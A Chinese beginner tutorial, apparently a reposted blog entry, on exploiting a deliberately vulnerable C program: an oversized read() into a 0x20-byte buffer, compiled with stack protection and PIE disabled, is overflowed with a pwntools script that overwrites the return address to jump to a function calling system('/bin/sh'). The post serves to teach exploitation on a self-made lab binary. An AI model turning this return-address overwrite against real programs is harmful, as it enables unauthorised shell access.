一个简单的pwn例子---read函数
內(nèi)容:
#include<stdio.h> void exploit() {system("/bin/sh"); } void func() {char str[0x20];read(0, str, 0x50); } int main() {func();return 0; }我們要做的是利用溢出執(zhí)行exploit函數(shù)
分析:
先執(zhí)行func函數(shù),func函數(shù)里有個(gè)read函數(shù),read函數(shù)會(huì)讀取我們?cè)谄聊簧陷斎氲膬?nèi)容,但不會(huì)檢查內(nèi)容的多少,全部復(fù)制到str里,但str只能存取20個(gè),如果超出這個(gè)值,會(huì)造成溢出,我們利用溢出,將ret的返回地址改為exlpoit的地址就可以取執(zhí)行exploit函數(shù)了。
首先,把保護(hù)機(jī)制關(guān)了
gcc -no-pie -fno-stack-protector -z execstack -m32 -g -o 11.exe read.c
gdb運(yùn)行調(diào)試
找到exlpoit的首地址:0x804843b
查看main的反匯編:
調(diào)用func函數(shù)后,回來執(zhí)行mov eax,0x0
我們?cè)俨榭磃unc的反匯編
執(zhí)行ret語句后就去執(zhí)行mov eax,0x0,func函數(shù)調(diào)用了read函數(shù),我們要利用read函數(shù)產(chǎn)生溢出,讓執(zhí)行ret完去執(zhí)行exploit函數(shù)。這個(gè)時(shí)候我們看看棧內(nèi)容。
在push ebp之前,esp的內(nèi)容是mov eax,0x0的eip值,lea eax,[ebp-0x28] 是read讀取內(nèi)容的首地址,所以我們讓執(zhí)行ret完去執(zhí)行exploit函數(shù),只需讓exploit的地址去覆蓋棧里面mov eax,0x0的eip值,從ebp-0x28到mov eax,0x0的eip值,地址相差0x28+0x4,因?yàn)樵趂unc函數(shù)里先push 了edp,所以還要加上0x4。
利用程序:
from pwn import * p=process('./11.exe') //文件路徑 offset = 0x28+0x4 payload ='a'*offset+p32(0x804843b) //0x804843b是exploit首地址 p.sendline(payload) p.interactive()運(yùn)行,成功獲得權(quán)限
總結(jié)
以上是生活随笔為你收集整理的一个简单的pwn例子---read函数的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 做男性不育检需到许昌哪家医院好
- 下一篇: 如何定位溢出点位置